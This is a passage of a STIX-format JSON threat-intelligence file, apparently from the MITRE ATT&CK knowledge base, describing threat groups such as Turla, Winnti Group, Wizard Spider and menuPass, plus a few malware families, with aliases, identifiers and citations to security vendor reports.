                    "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.",
                    "source_name": "ESET Turla Mosquito Jan 2018"
                },
                {
                    "source_name": "Leonardo Turla Penquin May 2020",
                    "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf",
                    "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021."
                },
                {
                    "source_name": "Accenture HyperStack October 2020",
                    "url": "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity",
                    "description": "Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."
                },
                {
                    "source_name": "Symantec Waterbug",
                    "description": "Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.",
                    "url": "https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1"
                },
                {
                    "source_name": "Securelist WhiteBear Aug 2017",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.",
                    "url": "https://securelist.com/introducing-whitebear/81638/"
                },
                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)\u2019s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines.(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)",
            "name": "Turla",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "type": "intrusion-set",
            "x_mitre_version": "2.0",
            "x_mitre_contributors": [
                "Matthieu Faou, ESET",
                "Edward Millington"
            ]
        },
        {
            "external_references": [
                {
                    "external_id": "G0118",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0118"
                },
                {
                    "source_name": "UNC2452",
                    "description": "(Citation: FireEye SUNBURST Backdoor December 2020)"
                },
                {
                    "source_name": "NOBELIUM",
                    "description": "(Citation: MSTIC NOBELIUM Mar 2021)"
                },
                {
                    "source_name": "StellarParticle",
                    "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)"
                },
                {
                    "source_name": "Dark Halo",
                    "description": "(Citation: Volexity SolarWinds)"
                },
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                },
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "name": "UNC2452",
            "type": "intrusion-set",
            "id": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "revoked": true,
            "modified": "2021-04-19T14:20:45.917Z",
            "created": "2021-01-05T15:34:11.066Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "G0123",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0123"
                },
                {
                    "source_name": "Volatile Cedar",
                    "description": "(Citation: CheckPoint Volatile Cedar March 2015)"
                },
                {
                    "source_name": "Lebanese Cedar",
                    "description": "(Citation: ClearSky Lebanese Cedar Jan 2021)"
                },
                {
                    "source_name": "CheckPoint Volatile Cedar March 2015",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf",
                    "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. Retrieved February 8, 2021."
                },
                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                }
            ],
            "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://attack.mitre.org/groups/G0123) has been operating since 2012 and is motivated by political and ideological interests.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021)",
            "name": "Volatile Cedar",
            "type": "intrusion-set",
            "id": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3",
            "aliases": [
                "Volatile Cedar",
                "Lebanese Cedar"
            ],
            "modified": "2021-02-10T21:01:16.908Z",
            "created": "2021-02-08T20:30:30.578Z",
            "x_mitre_version": "1.0"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "external_id": "G0090",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0090"
                },
                {
                    "source_name": "WIRTE",
                    "description": "(Citation: Lab52 WIRTE Apr 2019)"
                },
                {
                    "description": "S2 Grupo. (2019, April 2). WIRTE Group attacking the Middle East. Retrieved May 24, 2019.",
                    "url": "https://lab52.io/blog/wirte-group-attacking-the-middle-east/",
                    "source_name": "Lab52 WIRTE Apr 2019"
                }
            ],
            "name": "WIRTE",
            "description": "[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019)",
            "type": "intrusion-set",
            "id": "intrusion-set--f8cb7b36-62ef-4488-8a6d-a7033e3271c1",
            "aliases": [
                "WIRTE"
            ],
            "modified": "2020-03-30T19:31:01.756Z",
            "created": "2019-05-24T17:02:44.226Z",
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            "x_mitre_contributors": [
                "Lab52 by S2 Grupo"
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        },
        {
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                {
                    "external_id": "G0107",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0107"
                },
                {
                    "source_name": "Symantec Whitefly March 2019",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/whitefly-espionage-singapore",
                    "description": "Symantec. (2019, March 6). Whitefly: Espionage Group has Singapore in Its Sights. Retrieved May 26, 2020."
                }
            ],
            "description": "[Whitefly](https://attack.mitre.org/groups/G0107) is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore\u2019s largest public health organization, SingHealth.(Citation: Symantec Whitefly March 2019)",
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            "type": "intrusion-set",
            "id": "intrusion-set--b74f909f-8e52-4b69-b770-162bf59a1b4e",
            "aliases": [
                "Whitefly"
            ],
            "modified": "2020-05-27T21:56:24.890Z",
            "created": "2020-05-26T16:55:09.674Z",
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            "id": "intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a",
            "type": "intrusion-set",
            "name": "Windigo",
            "description": "The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)",
            "external_references": [
                {
                    "external_id": "G0124",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0124"
                },
                {
                    "source_name": "ESET Windigo Mar 2014",
                    "url": "https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/",
                    "description": "Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., L\u00e9veill\u00e9, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo \u2013 the vivisection of a large Linux server\u2011side credential\u2011stealing malware campaign. Retrieved February 10, 2021."
                },
                {
                    "source_name": "CERN Windigo June 2019",
                    "url": "https://security.web.cern.ch/advisories/windigo/windigo.shtml",
                    "description": "CERN. (2019, June 4). 2019/06/04 Advisory: Windigo attacks. Retrieved February 10, 2021."
                }
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                "Windigo"
            ],
            "modified": "2021-04-26T22:32:57.046Z",
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            "x_mitre_version": "1.0"
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        {
            "created": "2020-06-25T17:16:39.168Z",
            "modified": "2021-04-26T14:37:33.234Z",
            "aliases": [
                "Windshift",
                "Bahamut"
            ],
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                {
                    "external_id": "G0112",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0112"
                },
                {
                    "source_name": "Bahamut",
                    "description": "(Citation: SANS Windshift August 2018)"
                },
                {
                    "source_name": "SANS Windshift August 2018",
                    "url": "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf",
                    "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved June 25, 2020."
                },
                {
                    "source_name": "objective-see windtail1 dec 2018",
                    "url": "https://objective-see.com/blog/blog_0x3B.html",
                    "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019."
                },
                {
                    "source_name": "objective-see windtail2 jan 2019",
                    "url": "https://objective-see.com/blog/blog_0x3D.html",
                    "description": "Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019."
                }
            ],
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)",
            "name": "Windshift",
            "type": "intrusion-set",
            "id": "intrusion-set--afec6dc3-a18e-4b62-b1a4-5510e1a498d1",
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        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0044",
                    "external_id": "G0044"
                },
                {
                    "source_name": "Winnti Group",
                    "description": "(Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015)"
                },
                {
                    "source_name": "Blackfly",
                    "description": "(Citation: Symantec Suckfly March 2016)"
                },
                {
                    "url": "https://securelist.com/winnti-more-than-just-a-game/37029/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.",
                    "source_name": "Kaspersky Winnti April 2013"
                },
                {
                    "url": "https://securelist.com/games-are-over/70991/",
                    "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.",
                    "source_name": "Kaspersky Winnti June 2015"
                },
                {
                    "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf",
                    "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.",
                    "source_name": "Novetta Winnti April 2015"
                },
                {
                    "url": "https://401trg.com/burning-umbrella/",
                    "description": "Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018.",
                    "source_name": "401 TRG Winnti Umbrella May 2018"
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates",
                    "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.",
                    "source_name": "Symantec Suckfly March 2016"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018)",
            "name": "Winnti Group",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
            "type": "intrusion-set",
            "aliases": [
                "Winnti Group",
                "Blackfly"
            ],
            "modified": "2020-08-24T15:01:01.939Z",
            "created": "2017-05-31T21:32:08.682Z",
            "x_mitre_version": "1.1",
            "x_mitre_contributors": [
                "Edward Millington"
            ]
        },
        {
            "id": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "type": "intrusion-set",
            "name": "Wizard Spider",
            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) is a financially motivated criminal group that has been conducting ransomware campaigns since at least August 2018 against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)",
            "external_references": [
                {
                    "external_id": "G0102",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0102"
                },
                {
                    "source_name": "UNC1878",
                    "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)"
                },
                {
                    "source_name": "TEMP.MixMaster",
                    "description": "(Citation: FireEye Ryuk and Trickbot January 2019)"
                },
                {
                    "source_name": "Grim Spider",
                    "description": "(Citation: CrowdStrike Ryuk January 2019)(Citation: CrowdStrike Grim Spider May 2019)"
                },
                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."
                },
                {
                    "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a",
                    "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020."
                },
                {
                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "FireEye Ryuk and Trickbot January 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html",
                    "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020."
                },
                {
                    "source_name": "CrowdStrike Grim Spider May 2019",
                    "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/",
                    "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "aliases": [
                "Wizard Spider",
                "UNC1878",
                "TEMP.MixMaster",
                "Grim Spider"
            ],
            "modified": "2020-12-29T17:45:44.841Z",
            "created": "2020-05-12T18:15:29.396Z",
            "x_mitre_contributors": [
                "Oleksiy Gayda"
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            "x_mitre_version": "1.3"
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        {
            "id": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b",
            "type": "intrusion-set",
            "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)",
            "name": "ZIRCONIUM",
            "external_references": [
                {
                    "external_id": "G0128",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0128"
                },
                {
                    "source_name": "APT31",
                    "description": "(Citation: Check Point APT31 February 2021)"
                },
                {
                    "source_name": "Microsoft Targeting Elections September 2020",
                    "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/",
                    "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."
                },
                {
                    "source_name": "Check Point APT31 February 2021",
                    "url": "https://research.checkpoint.com/2021/the-story-of-jian/",
                    "description": "Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian \u2013 How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "aliases": [
                "ZIRCONIUM",
                "APT31"
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            "modified": "2021-04-20T21:00:44.930Z",
            "created": "2021-03-24T15:48:17.731Z",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "admin@338",
            "description": "[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0018",
                    "external_id": "G0018"
                },
                {
                    "source_name": "admin@338",
                    "description": "(Citation: FireEye admin@338)"
                },
                {
                    "source_name": "FireEye admin@338",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
                }
            ],
            "aliases": [
                "admin@338"
            ],
            "modified": "2020-03-18T19:54:59.120Z",
            "created": "2017-05-31T21:31:53.579Z",
            "x_mitre_contributors": [
                "Tatsuya Daitoku, Cyber Defense Institute, Inc."
            ],
            "x_mitre_version": "1.2"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0045",
                    "external_id": "G0045"
                },
                {
                    "source_name": "menuPass",
                    "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"
                },
                {
                    "source_name": "Cicada",
                    "description": "(Citation: Symantec Cicada November 2020)"
                },
                {
                    "source_name": "POTASSIUM",
                    "description": "(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"
                },
                {
                    "source_name": "Stone Panda",
                    "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Symantec Cicada November 2020)"
                },
                {
                    "source_name": "APT10",
                    "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)"
                },
                {
                    "source_name": "Red Apollo",
                    "description": "(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"
                },
                {
                    "source_name": "CVNX",
                    "description": "(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"
                },
                {
                    "source_name": "HOGFISH",
                    "description": "(Citation: Accenture Hogfish April 2018)"
                },
                {
                    "source_name": "DOJ APT10 Dec 2018",
                    "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion",
                    "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019."
                },
                {
                    "source_name": "District Court of NY APT10 Indictment December 2018",
                    "url": "https://www.justice.gov/opa/page/file/1122671/download",
                    "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020."
                },
                {
                    "source_name": "Palo Alto menuPass Feb 2017",
                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"
                },
                {
                    "url": "https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem",
                    "description": "Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017.",
                    "source_name": "Crowdstrike CrowdCast Oct 2013"
                },
                {
                    "source_name": "FireEye Poison Ivy",
                    "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"
                },
                {
                    "source_name": "PWC Cloud Hopper April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "source_name": "FireEye APT10 April 2017"
                },
                {
                    "source_name": "Symantec Cicada November 2020",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage",
                    "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020."
                },
                {
                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
                },
                {
                    "source_name": "FireEye APT10 Sept 2018",
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                    "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/",
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                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
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                    "description": "Wilhoit, K. and Falcone, R. (2018, September 12). OilRig Uses Updated BONDUPDATER to Target Middle Eastern Government. Retrieved February 18, 2019."
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                    "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.",
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                    "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.",
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                    "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020."
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                {
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                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
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            "description": "[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor malware in use since at least April 2020, with infections mainly targeting professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) has been reported to have ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)",
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                    "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)"
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                    "description": "(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)"
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                    "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles",
                    "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020."
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                    "source_name": "FireEye KEGTAP SINGLEMALT October 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html",
                    "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020."
                },
                {
                    "source_name": "NCC Group Team9 June 2020",
                    "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/",
                    "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."
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            "description": "[BendyBear](https://attack.mitre.org/software/S0574) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, [BendyBear](https://attack.mitre.org/software/S0574) shares a variety of features with [Waterbear](https://attack.mitre.org/software/S0579), malware previously attributed to the Chinese cyber espionage group [BlackTech](https://attack.mitre.org/groups/G0098).(Citation: Unit42 BendyBear Feb 2021)",
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                    "url": "https://attack.mitre.org/software/S0574"
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                {
                    "source_name": "BendyBear",
                    "description": "(Citation: Unit42 BendyBear Feb 2021)"
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                    "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/",
                    "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021."
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            "description": "[Bisonal](https://attack.mitre.org/software/S0268) is malware that has been used in attacks against targets in Russia, South Korea, and Japan. It has been observed in the wild since 2014. (Citation: Unit 42 Bisonal July 2018)",
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                    "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.",
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                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.",
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                    "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.",
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                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020."
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                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
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                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "url": "https://www.justice.gov/file/1080281/download"
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                {
                    "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.",
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                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021."
                },
                {
